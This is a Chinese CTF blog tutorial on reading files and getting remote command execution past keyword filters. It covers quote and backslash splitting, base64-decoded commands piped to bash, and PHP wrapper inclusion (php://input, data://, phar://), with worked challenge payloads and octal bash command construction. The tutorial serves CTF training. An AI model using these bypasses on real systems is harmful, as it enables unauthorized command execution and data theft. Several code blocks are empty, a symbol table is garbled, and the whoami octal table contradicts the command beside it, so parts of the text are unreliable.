CTF 比赛中常见的文件读取以及RCE姿势-详解

CTF 比赛中常见的文件读取以及RCE姿势-详解
28.7的博客CTF 命令执行与绕过笔记
一、基础:替代cat的核心文件读取命令
以下命令可实现文件读取、内容处理等功能,在cat被拦截或需特定场景(如分页、排序)时使用。
| 命令名称 | 核心功能 | 常用选项 | 典型示例 |
|---|---|---|---|
| cat | 连接文件并打印到标准输出(基础读取) | -n:显示行号(含空行) -b:显示行号(仅非空行) -s:压缩连续空行为1个 |
cat test.txt(读单个文件)cat -n file1.txt file2.txt(合并+显行号) |
| tac | 反向打印文件内容(从末行到首行) | -n:反向显行号 -s 分隔符:指定行分隔符(默认换行) |
tac log.txt(反向查日志)tac -n data.txt(反向+显行号) |
| nl | 为内容添加行号(比cat -n灵活) |
-b a:所有行(含空行)编号 -b t:仅非空行编号(默认) -w 3:行号宽度设为3位(默认6位) |
nl report.txt(默认非空行编号)nl -b a -w 2 notes.txt(空行也编号+行宽2位) |
| head | 打印文件开头部分(默认前10行) | -n 5:显前5行(简写-5)-v:显文件名(多文件场景) |
head -3 config.ini(读配置前3行)head -v *.txt(多文件+显文件名) |
| tail | 打印文件结尾部分(默认后10行),支持实时跟踪 | -n 5:显后5行(简写-5)-f:实时跟踪更新(日志监控) -F:跟踪时自动重试(文件重建后继续) |
tail -f app.log(实时监控日志)tail -n +20 data.csv(从第20行显到末尾) |
| sort | 按行排序文件内容(默认ASCII码) | -n:按数值排序 -r:反向排序 -k 2:按第2列排序 -u:去重(保留唯一行) |
sort -n numbers.txt(按数值排序)sort -k 3 -r students.txt(按第3列反向排序) |
| more | 分页查看(仅向前翻页,适合小文件) | -num:每页显num行 -d:显示操作提示(如“按空格翻页”) |
more -20 long.txt(每页20行)more -d log.txt(带操作提示) |
| less | 灵活分页(支持前后翻页、搜索,适合大文件) | -N:显行号 /关键词:向下搜关键词 ?关键词:向上搜关键词 q:退出 |
less -N large.log(显行号读大日志)less /error app.log(搜“error”) |
| wc | 统计行数、单词数、字符数 | -l:仅统计行数 -w:仅统计单词数 -c:仅统计字符数(含空格/换行) |
wc -l access.log(统计日志行数)wc -w -c essay.txt(统计单词+字符数) |
| grep | 按模式搜索文本(支持正则) | -i:忽略大小写 -r:递归搜目录下所有文件 -n:显匹配行行号 -v:反向匹配(显不包含关键词的行) |
grep "error" app.log(搜日志“error”)grep -ir "warning" /var/log/(递归搜+忽略大小写) |
| sed | 流编辑器(替换、删除、新增,非交互式) | s/旧/新/g:全局替换 -i:直接修改文件(谨慎用) /关键词/d:删除含关键词的行 |
sed 's/old/new/g' test.txt(替换所有“old”)sed -i '/#/d' config.ini(删注释行并保存) |
| awk | 按列/字段处理结构化文本 | -F 分隔符:指定列分隔符(默认空格)$n:第n列(如$1=第1列)NR:当前行号 |
awk -F ',' '{print $2}' data.csv(逗号分隔,打第2列)awk 'NR>1 {print $1,$3}' students.txt(跳第1行,打1/3列) |
关键命令补充说明
nl 命令:短命令定位文件
适合“命令长度限制”场景,根目录仅1个文件时,nl /*可直接定位并读取flag(无需完整文件名)。
图示:nl命令定位flagcat 与 tac:反向读取互补
两者功能完全互补(cat正序、tac反序),是CTF中常用的“基础文件读取组合”。
图示:cat与tac互补sort 命令:读取+排序一体
可直接读取文件(如sort flag.txt),同时兼具排序功能,需“读取+排序”时可替代cat。
图示:sort命令读取文件head 命令:指定行数读取
通过-n控制读取前N行,如head -5 flag.txt读flag前5行,适合“文件头部含关键信息”场景。
图示:head指定行数awk 命令:需定义处理脚本
需通过脚本(如{print $1})定义逻辑,如awk '{print $0}' flag.txt可直接读文件($0表示整行)。
图示:awk读取文件
二、命令执行绕过技巧
当cat、system等关键词被黑名单拦截时,可通过以下方法绕过限制。
1. 管道符与分隔符绕过
利用符号的执行逻辑,拼接命令或强制执行目标操作,核心是通过“分号/逻辑符”拆分命令。
| 符号 | 实例 | 执行逻辑 |
|---|---|---|
; |
A;B |
无论A成功与否,均执行B |
& |
A&B |
与;功能一致,A、B均执行 |
&& |
A&&B |
仅A成功(返回0)时,执行B |
| ` | ` | `A |
| ` | ` |
2. 反斜杠绕过
用\截断命令关键词,破坏黑名单对“完整命令”的匹配,bash会自动解析\为转义。
示例:若cat被拦截,执行c\at flag.txt(实际等同于cat flag.txt)。
图示:反斜杠绕过
3. 单/双引号绕过
在命令关键词中间插入空引号,bash会自动忽略空引号,不影响命令执行。
示例:ca''t flag.txt(空引号不破坏命令,实际执行cat flag.txt)。
图示:单引号绕过
4. Base64编码绕过
将目标命令Base64编码后,通过base64 -d解码并执行,绕过关键词拦截(黑名单无法匹配编码后的字符串)。
步骤:
- 编码命令:
echo -n "cat flag.txt" | base64→ 得到编码结果Y2F0IGZsYWcudHh0; - 执行解码+命令:
echo "Y2F0IGZsYWcudHh0" | base64 -d | bash。
图示:Base64编码绕过
5. PHP伪协议绕过
在PHP环境中,利用伪协议访问本地/远程资源,常用于文件包含漏洞(读取敏感文件、执行代码),核心是绕开“文件路径限制”或“命令拦截”。
(1)file:// 协议:访问本地文件系统
- 作用:读取本地文件(默认支持,无需特殊配置);
- 格式:
file://[绝对路径/相对路径]; - 示例:
1
2
3
4// 读绝对路径文件
echo file_get_contents('file:///etc/passwd');
// 读当前目录下的test.txt
include 'file://./test.txt';
(2)php:// 协议:PHP内核内置协议(重点)
包含多个子协议,用于访问输入/输出流、过滤数据,是CTF中最常用的伪协议。
| 子协议 | 作用 | 使用条件 | 示例 |
|---|---|---|---|
php://input |
读取HTTP请求的原始POST数据 | 无需特殊配置;allow_url_include=On时可执行代码 |
构造URL:http://xxx/?file=php://input,POST提交<?php phpinfo();?> |
php://filter |
过滤/转换文件内容(如Base64编码) | 无需特殊配置;常用于读PHP源码(避免被解析) | include 'php://filter/read=convert.base64-encode/resource=index.php'(编码后读源码) |
php://output |
作为输出流,直接发送数据到浏览器 | 无需特殊配置 | file_put_contents('php://output', 'hello')(直接输出hello) |
php://stdin |
读取标准输入(CLI模式常用) | 无需特殊配置 | CLI下执行:php -r "echo fgets(STDIN);"(读取输入内容) |
(3)data:// 协议:直接传递数据
- 作用:通过URL传递文本/Base64编码数据,支持执行代码;
- 使用条件:需
allow_url_fopen=On+allow_url_include=On(默认allow_url_include=Off); - 格式:
- 文本格式:
data://text/plain,[内容]; - Base64格式:
data://text/plain;base64,[编码内容];
- 文本格式:
- 示例:
1
2// Base64编码内容为"<?php phpinfo();?>"
include 'data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+';
(4)phar:// 协议:访问PHAR归档文件
- 作用:访问PHAR文件(类似ZIP),即使文件后缀被修改(如
.jpg)仍可识别; - 特点:支持执行归档内的恶意代码;
- 格式:
phar://[PHAR文件路径]/[内部文件]; - 示例:
1
2// 访问改名为shell.jpg的PHAR文件,执行内部的shell.php
include 'phar://./shell.jpg/shell.php';
(5)zip:// 协议:访问ZIP压缩包内文件
- 作用:读取ZIP压缩包内的文件;
- 格式:
zip://[ZIP路径]#[内部文件名](#需URL编码为%23); - 示例:
1
2// 读test.zip内的shell.php(#编码为%23)
include 'zip://./test.zip%23shell.php';
伪协议关键配置
伪协议可用性受php.ini参数影响,需重点关注:
allow_url_fopen:控制是否允许通过URL访问文件(默认On);allow_url_include:控制是否允许通过URL包含文件(默认Off,多数伪协议执行代码需开启)。
6. 取反绕过
通过PHP的“按位取反”运算,将命令关键词(如system、cat)转为不可见字符,绕过关键词拦截。
示例代码:
1 |
|
三、典型CTF命令执行题目解析
通过实际题目,理解绕过技巧的落地场景,核心是“根据限制选方法”。
1. 青少年CTF-RceMe:命令长度限制
题目代码
1 |
|
解题思路
- 核心限制:命令长度≤5,无法输入完整文件名(如
cat flag.txt长度超5); - 关键技巧:用
nl /*(长度5)读取根目录所有文件,根目录仅1个文件时可直接定位flag; - 执行结果:访问
?com=nl /*,直接输出flag内容。
图示:nl/*读取flag
图示:flag结果
2. 关键词过滤:拦截“flag”“system”
题目代码
1 |
|
绕过方法(3种常用思路)
- 通配符绕过:用
f*替代flag,passthru替代system,执行?c=passthru('cat%20f*');(%20是空格URL编码); - Base64解码绕过:编码
cat flag.php为Y2F0IGZsYWcucGhw,执行?c=passthru(base64_decode("Y2F0IGZsYWcucGhw"));; - 反引号执行:用反引号替代
system,执行?c=echo(tac%20f*);(反引号内命令会被执行并返回结果)。
图示:过滤flag绕过
3. CTFshow 极限命令执行一:字符集限制
题目代码
1 |
|
解题思路
- 核心限制:无法输入字母(如
cat、nl),仅能输入数字、/、?; - 关键技巧:用
?匹配文件名字符(1个?匹配1个任意字符),根目录getflag文件可匹配为/?????a?(共7个字符,对应getflag长度); - 执行步骤:POST提交
ctf_show=/?????a?,直接运行根目录getflag命令获取flag。
图示:问号匹配getflag
图示:执行结果
四、进阶RCE技巧
当常规命令(字母、符号)被完全拦截时,利用bash语法特性(如八进制、算术扩展)构造命令执行。
1. 八进制RCE
将命令的ASCII码转为八进制,通过$'\八进制序列'格式执行(bash原生支持此语法),核心是“用数字替代字母”。
常用命令八进制对照表
| 命令 | ASCII码(十进制) | 八进制序列 | 执行命令 |
|---|---|---|---|
ls |
108、115 | 154、163 | $'\154\163' |
whoami |
119、104、111、97、109、105 | 167、150、155、141、155、151 | $'\167\150\157\141\155\151' |
效果演示
图示:八进制ls执行
图示:八进制whoami执行
2. bash Here字符串与算术扩展
(1)Here字符串:传递标准输入
- 语法:
命令 <<< "字符串内容"; - 作用:将字符串作为标准输入传递给命令,末尾自动添加
\n(换行符); - 示例:
cat <<< "hello world"(等同于echo "hello world" | cat)。
图示:Here字符串示例
(2)算术扩展:构造数字与命令
通过$((算术表达式))语法,用位移运算构造数字(如基底2),再拼接八进制命令,核心是“用运算替代直接写数字”。
| 运算需求 | 算术表达式 | 结果 | 说明 |
|---|---|---|---|
构造基底2 |
$((1<<1)) |
2 | 1的二进制左移1位(1→10,即十进制2) |
构造数字8 |
$((1<<3)) |
8 | 1的二进制左移3位(1→1000,即十进制8) |
图示:位移构造8
图示:位移构造2
3. 八进制命令构造实战(以ls为例)
核心逻辑
ls的八进制为154 163,先转为二进制(154→10011010,163→10100011);- 用
$((基底#数字))指定二进制基底(如$((2#10011010))表示“二进制10011010”,结果为154); - 通过位移运算构造基底
2($((1<<1))),拼接二进制数字得到八进制值。
构造步骤
- 构造八进制
154:$(( $((1<<1)) # 10011010 ))→ 结果154; - 构造八进制
163:$(( $((1<<1)) # 10100011 ))→ 结果163; - 最终执行命令:
$'\'"$(( $((1<<1)) # 10011010 ))"\'"$(( $((1<<1)) # 10100011 ))"'(拼接后等同于$'\154\163',即ls)。
ls命令构造











